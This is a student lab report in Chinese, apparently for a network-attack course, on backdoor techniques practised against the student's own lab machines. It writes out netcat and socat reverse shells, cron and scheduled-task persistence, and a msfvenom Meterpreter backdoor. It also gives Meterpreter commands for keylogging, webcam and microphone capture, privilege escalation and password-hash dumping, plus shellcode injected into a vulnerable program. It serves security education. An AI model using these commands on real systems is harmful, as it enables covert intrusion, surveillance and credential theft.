zoukankan      html  css  js  c++  java
  • 2020-2 网络对抗技术 20175120 exp2 后门原理与实践

    实验内容

    (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

    (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。


    一、使用netcat获取主机操作Shell,cron启动

    使用netcat工具获取远程主机的shell

    实验准备

    因为我是用的win10平台以及linux虚拟机,kali linux本身有netcat,就只需要从附件中下载netcat至win10

    实验步骤

    一、关闭linux、Windows10防火墙

    1.关闭win10防火墙

    右键网络,点击属性,打开以下界面

    点击左下角windows defender防火墙,进入以下界面

    点击左侧启动或关闭windows defender 防火墙,设置关闭即可

    2.关闭linux防火墙

    安装ufw:apt-get install ufw

    关闭:ufw disable # To disable the firewall

    开启:ufw enable # To disable the firewall

    二、以虚拟机为监听端,获取主机shell&&以主机为监听端,获取虚拟机shell

    1.虚拟机获取主机 windows shell

    kali端输入:nc -l -p 5120 开启监听

    主机端连入kali:ncat.exe -e cmd.exe 192.168.5.250 5120,此处ip为虚拟机ip

    然后可以看到,kali连入windows shell,输入dir测试

    2.主机获取虚拟机shell

    主机输入:ncat.exe -l -p 5120,开启监听

    虚拟机端连入主机:nc 192.168.5.245 5120 -e /bin/sh此处ip为主机ip

    在win端输入ls进行测试

    三、windows为攻击端,使用cron定时启动,获取linux shell

    win端开启监听:ncat.exe -l -p 5120

    linux端输入:crontab -e,初次进入选 3,输入i编辑,

    输入43 * * * * /bin/netcat 192.168.5.245 5120 -e /bin/sh,表示在每小时的第43分钟反向连接主机的5120端口

    然后按Esc``:wq保存退出

    到时间后输入ls测试

    二、使用socat获取主机操作Shell, 任务计划启动

    实验准备

    附件中下载实验工具socat.exe

    实验步骤


    • 在任务计划程序中设置通过socat.exe打开cmd.exe

    • 在kali linux中输入socat - tcp:192.168.5.245:5120


    右键此电脑,点击管理,进入任务计划程序

    点击创建任务,填入名称

    新建触发器,设定开启时间

    新建操作,在程序或脚本中填入socat.exe的存储路径,在添加参数中填入:tcp-listen:5120 exec:cmd.exe,pty,stderr,然后确定

    等待socat.exe窗口弹出

    接下来,在linux端输入:socat - tcp:192.168.5.245:5120连入windows shell


    三、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell


    • kali生成后门程序植入win

    • kali通过后门程序在MSF工具中对主机进行操作


    • kali端通过MSF生成可执行的后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.250 LPORT=5120 -f exe > 5120backdoor.exe

    LHOST填入虚拟机ip,LPORT填入接入端口号

    • win端接受已生成的后门程序

    ncat.exe -l 5120 > 5120backdoor.exe

    • kali 连接主机的5120端口传输文件5120backdoor.exe

    nc 192.168.5.245 5120 < 5120backdoor.exe

    可以看到文件夹中有 5120backdoor.exe


    kali端打开MSF: msfconsole

    输入以下指令:

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    设置接入ip set LHOST 192.168.5.245

    设置接入端口 set LPORT 5120

    exploit 开始监听

    • 在win10端运行5120backdoor.exe,可以在kali linux端看到已连接,输入dir可以看到已获取shell


    四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 获取主机音频

    record_mic截取一段主音频

    • 获取主机摄像头

    webcam_snap获取主机摄像头并拍照

    • 获取主机击键记录

    keyscan_start 开始记录击键

    keyscan_dump 读取击键记录

    keyscan_stop 停止读取击键记录

    • 获取主机截屏

    screenshot

    • 提权

    getuid 查看当前用户

    getsystem 进行提权

    通过几条指令看看提权是否成功

    1. 导出主机密码

    run post/windows/gather/hashdump

    1. 在主机中安装meterpreter

    run persistence -h

    似乎失败了。。。

    再试试 run persistence -U -i 5 -p 443 -r 192.168.5.245

    成功了!


    五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell


    • 准备好 shellcode

    • 找到 pwn1 返回地址

    • 通过 MSF meterpreter 进行连接,获取 shell


    准备shellcode

    我在老师给的教程Shellcode基础中找到一个能下载 shellcode 的网站

    找到了一个能进行反弹式连接的shellcode

    从数组中提取shellcode机器码为

    x31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80

    • 根据实验一的流程,我找到了 pwn1 shellcode 返回地址为 0xffffd6c0

    构建要注入的shellcode:

    perl -e 'print "A" x 32;print "xc0xd6xffxffx31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80"' > input_shell

    • MSF meterpreter 获取 shell

    输入 (cat input_shell;cat) | ./pwn1 进行注入,回车看到乱码显示

    打开另一个终端,启动 MSF 控制台 msfconsole

    准备开启监听

    use exploit/multi/handler
    
    set payload windows/meterpreter/reverse_tcp
    
    set LHOST 127.0.0.1
    
    set LPORT 4444
    

    连接成功!

    思考与总结

    基础问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    网页下载文件时,要求用下载器,进行捆绑下载,捆绑文件中含有后门程序,程序通过隐藏进入系统

    • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    开机自启动(通过修改注册表、植入主机自启动文件夹)
    定时启动(设定固定)

    • (3)Meterpreter有哪些给你映像深刻的功能?

    Meterpreter能够窃听受害机的许多隐秘信息,如密码、机密文件、击键记录;同时还能通过受害机摄像头对受害机使用者的所处场所进行拍照,获取更多隐私信息。

    • (4)如何发现自己有系统有没有被安装后门?

    通过杀软定时对计算机进行病毒检测;查看计算机日志,有没有可疑的记录

    实验中遇到的问题

    在内容一使用nc,主机作为监听端,获取虚拟机shell时,连接不成功

    原因:主机防火墙未关闭,在我关闭主机防火墙后连接成功

    实验总结

    这次实验操作较多,知识性没有第一次实验强,但仍然出现了很多问题,很多因为指令输错,检查不到位而出现的结果错误,但我都一一解决。这次实验我学会了使用netcat、socat、MSF meterpreter三种工具进行后门实践,对现在的后门程序的功能有了更加深入的了解,同时也提高了我对于网络安全重要性的认识,以及学习这门课程的兴趣。如今我还只接触到了网络安全攻击方式的冰山一角,但单单meterpreter工具的功能就如此强大,我觉得我需要更多的知识来丰富自己的网络安全意识,以应对未来更多防不胜防的网络安全攻击。

  • 相关阅读:
    Android 编程下 Eclipse 恢复被删除的文件
    Android 编程下背景图片适配工具类
    Android 编程下 Managing Your App's Memory
    Android 编程下代码之(QQ消息列表滑动删除)
    Android 编程下 Canvas and Drawables
    Android 编程下 AlarmManager
    Android 编程下去除 ListView 上下边界蓝色或黄色阴影
    Java 编程下字符串的 16 位、32位 MD5 加密
    C#枚举类型和int类型相互转换
    MVC和普通三层架构的区别
  • 原文地址:https://www.cnblogs.com/1751-pyc/p/12494695.html
Copyright © 2011-2022 走看看